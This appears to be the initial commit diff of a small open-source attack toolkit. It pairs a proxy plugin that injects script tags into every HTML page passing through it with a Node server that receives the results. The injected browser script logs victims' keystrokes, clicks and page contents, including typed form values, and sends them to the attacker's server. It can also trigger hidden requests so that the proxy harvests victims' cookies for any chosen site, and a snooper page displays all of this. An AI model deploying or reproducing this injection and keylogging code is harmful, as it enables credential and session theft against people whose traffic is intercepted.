initial commit
authorJann Horn <jann@thejh.net>
Thu, 29 Aug 2013 21:13:33 +0000 (23:13 +0200)
committerJann Horn <jann@thejh.net>
Thu, 29 Aug 2013 21:13:33 +0000 (23:13 +0200)
LICENSE [new file with mode: 0644]
hoxy/README [new file with mode: 0644]
hoxy/hoxy-rules.txt [new file with mode: 0644]
hoxy/inject-evil.js [new file with mode: 0644]
jssrv/README [new file with mode: 0644]
jssrv/jssrv.js [new file with mode: 0755]
jssrv/package.json [new file with mode: 0644]
jssrv/public/injection_script.js [new file with mode: 0644]
jssrv/public/snooper.html [new file with mode: 0644]

diff --git a/LICENSE b/LICENSE
new file mode 100644 (file)
index 0000000..555f710
--- /dev/null
+++ b/LICENSE
@@ -0,0 +1,22 @@
+Copyright (c) 2013, Jann Horn <jann@thejh.net>
+All rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions are met: 
+
+1. Redistributions of source code must retain the above copyright notice, this
+   list of conditions and the following disclaimer. 
+2. Redistributions in binary form must reproduce the above copyright notice,
+   this list of conditions and the following disclaimer in the documentation
+   and/or other materials provided with the distribution. 
+
+THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
+ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
+ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
\ No newline at end of file
diff --git a/hoxy/README b/hoxy/README
new file mode 100644 (file)
index 0000000..f96e012
--- /dev/null
@@ -0,0 +1,15 @@
+This is the injection-proxy part. Preparation:
+
+1. create a file "config.txt". contents:
+
+my_ip=<YOUR IP HERE>
+server_port=<SERVER PORT OF THE JSSRV COMPONENT HERE>
+
+2. do "npm install hoxy" (this requires nodejs)
+
+3. copy (or link)
+ - inject-evil.js to node_modules/hoxy/plugins/inject_evil.js
+ - hoxy_rules.txt to node_modules/hoxy/hoxy-rules.txt
+
+
+Running: Execute "node_modules/hoxy/bin/hoxy"
\ No newline at end of file
diff --git a/hoxy/hoxy-rules.txt b/hoxy/hoxy-rules.txt
new file mode 100644 (file)
index 0000000..e001978
--- /dev/null
@@ -0,0 +1,14 @@
+# THIS IS AN EXAMPLE FILE THAT CONTAINS EXAMPLE RULES FOR HOXY.
+# UNCOMMENT TO ACTIVATE. SEE readme.markdown IN THIS DIR FOR SYNTAX HELP.
+
+# add a visible banner alerting user of proxy
+#response: if $content-type contains 'html', @banner("currently browsing through a web hacking proxy")
+
+# log every request to a given host
+#response: if $hostname eq 'example.com', $url.log()
+
+# use css and js from the staging server
+#request: if $ext eq "js" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83')
+#request: if $ext eq "css" and $host eq "www.example.com", $host.set-to('www-stage.example.com:83')
+
+response: if $content-type contains 'html', @inject-evil()
diff --git a/hoxy/inject-evil.js b/hoxy/inject-evil.js
new file mode 100644 (file)
index 0000000..fd4fcef
--- /dev/null
@@ -0,0 +1,24 @@
+var fs = require('fs')
+
+var config = fs.readFileSync('config.txt', 'utf8').split('\n').map(function(l) {return l.split('=')})
+var my_ip = config.filter(function(l){return l[0]=='my_ip'})[0][1]
+var server_port = config.filter(function(l){return l[0]=='server_port'})[0][1]
+var evil_master = my_ip+':'+server_port
+
+var io = require('socket.io-client').connect('http://'+evil_master)
+
+exports.run = function(api) {
+  console.log('injecting...')
+  var qinf = api.getRequestInfo()
+  io.emit('request', {url: qinf.absUrl, headers: qinf.headers})
+  var body = api.getResponseBody()
+  var headIndex = body.indexOf('<head>')+6
+  if (headIndex == 5) headIndex = 0
+  body = body.substr(0, headIndex) +
+         '\n<script>var __evil_injection_server="'+evil_master+'"</script>' +
+         '\n<script src="http://'+evil_master+'/socket.io/socket.io.js"></script>' +
+         '\n<script src="http://'+evil_master+'/injection_script.js"></script>' +
+         body.substr(headIndex)
+  api.setResponseBody(body)
+  api.notify()
+}
diff --git a/jssrv/README b/jssrv/README
new file mode 100644 (file)
index 0000000..21752e7
--- /dev/null
@@ -0,0 +1,13 @@
+This is the component that handles stuff after the hoxy component
+has injected the evil <script>.
+
+Preparing: run "npm install"
+
+Running: "./jssrv.js <server_port>"
+
+server_port must be a port that is currently free. You must
+specify the same port in the config file for the hoxy component.
+
+To see the keypresses of victims, go to
+
+http://<yourip>:<server_port>/snooper.html
\ No newline at end of file
diff --git a/jssrv/jssrv.js b/jssrv/jssrv.js
new file mode 100755 (executable)
index 0000000..40cd50d
--- /dev/null
@@ -0,0 +1,61 @@
+#!/usr/bin/env node
+
+if (process.argv.length !== 3) {
+  console.error('invocation: ./jssrv.js <http_port>')
+  process.exit(1)
+}
+
+var express = require('express')
+var app = express()
+var server = require('http').createServer(app)
+var io = require('socket.io').listen(server)
+
+app.use(express.static(__dirname + '/public'))
+
+server.listen(parseInt(process.argv[2]))
+
+var snoopers = []
+var victims = []
+
+io.sockets.on('connection', function(socket) {
+  /*socket.on('screenshot', function(data) {
+    // data.data
+    snoopers.forEach(function(snooper) {
+      snooper.emit('screenshot', {data: data.data})
+    })
+  })
+  socket.on('fulldom', function(data) {
+    snoopers.forEach(function(snooper) {
+      snooper.emit('fulldom', {data: data.data})
+    })
+  })*/
+  socket.on('keypress', function(data) {
+    snoopers.forEach(function(snooper) {
+      snooper.emit('keypress', data)
+    })
+  })
+  socket.on('register_snooper', function() {
+    if (victims.indexOf(socket) === -1) snoopers.push(socket)
+  })
+  socket.on('register_victim', function() {
+    if (snoopers.indexOf(socket) === -1) victims.push(socket)
+  })
+  socket.on('disconnect', function() {
+    var i = snoopers.indexOf(socket)
+    if (i !== -1) snoopers.splice(i, 1)
+    i = victims.indexOf(socket)
+    if (i !== -1) victims.splice(i, 1)
+  })
+  socket.on('get_url_cookies', function(cmd) {
+    var victim = victims[0]
+    if (!victim) return
+    victim.emit('trigger_request', cmd)
+  })
+  socket.on('request', function(data) {
+    console.log('got req')
+    snoopers.forEach(function(snooper) {
+      console.log('sreq')
+      snooper.emit('request', data)
+    })
+  })
+})
\ No newline at end of file
diff --git a/jssrv/package.json b/jssrv/package.json
new file mode 100644 (file)
index 0000000..70e6e5b
--- /dev/null
@@ -0,0 +1,18 @@
+{
+  "name": "browserman_jssrv",
+  "version": "0.0.0",
+  "description": "This is the component that handles stuff after the hoxy component has injected the evil <script>.",
+  "main": "jssrv.js",
+  "dependencies": {
+    "socket.io": "~0.9.16",
+    "express": "~3.3.4"
+  },
+  "devDependencies": {},
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "repository": "",
+  "author": "",
+  "license": "BSD",
+  "readmeFilename": "README"
+}
diff --git a/jssrv/public/injection_script.js b/jssrv/public/injection_script.js
new file mode 100644 (file)
index 0000000..68ab532
--- /dev/null
@@ -0,0 +1,56 @@
+(function() {
+
+if (window.__injection_active) return
+window.__injection_active = true
+
+var socket = io.connect('http://'+__evil_injection_server);
+socket.emit('register_victim')
+if (window.top === window) {
+  setInterval(function() {
+    /*html2canvas(document.body, { onrendered: function(canvas) {
+      socket.emit('screenshot', {data:canvas.toDataURL()})
+      
+    }})*/
+    [].forEach.call(document.getElementsByTagName('input'), function(e) {
+      e.setAttribute('value', e.value)
+    })
+    socket.emit('fulldom', {data:escape(document.childNodes[document.childNodes.length-1].innerHTML)})
+  }, 100)
+}
+
+/*if (window.top === window) {
+  setInterval(function() {
+    //var docclone = document.createElement('html')
+    //docclone.innerHTML = document.body.parentNode.innerHTML
+    
+  }, 10000)
+}*/
+
+window.addEventListener('keydown', function(e) {
+  socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keydown'})
+}, true)
+
+window.addEventListener('keypress', function(e) {
+  socket.emit('keypress', {charCode: e.charCode, keyCode: e.keyCode, type: 'keypress'})
+}, true)
+
+window.addEventListener('click', function(e) {
+  var target = e.target
+  while (['a','button','input'].indexOf(target.nodeName.toLowerCase()) === -1) {
+    target = target.parentNode
+  }
+  var text = target ? target.innerText : null
+  socket.emit('keypress', {type: 'click', text: text})
+}, true)
+
+socket.on('trigger_request', function(cmd) {
+  var img_el = document.createElement(cmd.type||'img')
+  img_el.style.opacity = '0%'
+  img_el.src = cmd.url
+  document.body.appendChild(img_el)
+  setTimeout(function() {
+    document.body.removeChild(img_el)
+  }, 60000)
+})
+
+})()
\ No newline at end of file
diff --git a/jssrv/public/snooper.html b/jssrv/public/snooper.html
new file mode 100644 (file)
index 0000000..d0570a3
--- /dev/null
@@ -0,0 +1,60 @@
+<!DOCTYPE html>
+<html>
+  <head>
+    <script src="/socket.io/socket.io.js"></script>
+    <script>
+      var λ = document.getElementById.bind(document)
+      var socket = io.connect(document.location.origin)
+      socket.emit('register_snooper')
+      /*socket.on('screenshot', function(data) {
+        λ('screen_display').src = data.data
+      })*/
+      /*socket.on('fulldom', function(data) {
+        λ('iframe').src = 'data:text/html;charset=utf-8,' + escape(data.data)
+      })*/
+      function keyname(e) {
+        if (e.type === 'keydown') {
+          if (e.keyCode === 8) return '<backspace>'
+          if (e.keyCode === 46) return '<delete>'
+          if (e.keyCode === 13) return '<enter>'
+          if (e.keyCode === 9) return '<tab>'
+        }
+        if (e.type === 'keypress') {
+          return String.fromCharCode(e.charCode)
+        }
+        if (e.type === 'click') {
+          return e.text ? ('<click "'+e.text+'">') : '<click>';
+        }
+        return ''
+      }
+      socket.on('keypress', function(data) {
+        var txt = document.createTextNode(keyname(data))
+        if (txt) λ('inputlog').appendChild(txt)
+      })
+      socket.on('request', function(data) {
+        console.log(data)
+      })
+      
+      function get_cookies() {
+        var url = λ('url_in').value
+        socket.emit('get_url_cookies', {url: url})
+        function maybe_show_cookie(res) {
+          if (res.url !== url) return console.log('mismatch: '+res.url+' vs '+url)
+          socket.removeListener('request', maybe_show_cookie)
+          λ('inputlog').appendChild(document.createElement('br'))
+          λ('inputlog').appendChild(document.createTextNode('cookies for '+url+': '+res.headers.cookie))
+          λ('inputlog').appendChild(document.createElement('br'))
+        }
+        socket.on('request', maybe_show_cookie)
+      }
+    </script>
+  </head>
+  <body>
+    <!-- <img id="screen_display" style="position: absolute; top: 0px; left: 0px"> -->
+    <!-- <iframe id="iframe" style="position: absolute; top: 0px; left: 0px" sandbox
+                 width="100%" height="100%"></iframe> -->
+    <input id="url_in"><button onclick="get_cookies()">get cookies</button>
+    <br>
+    <div id="inputlog" style="">
+  </body>
+</html>
\ No newline at end of file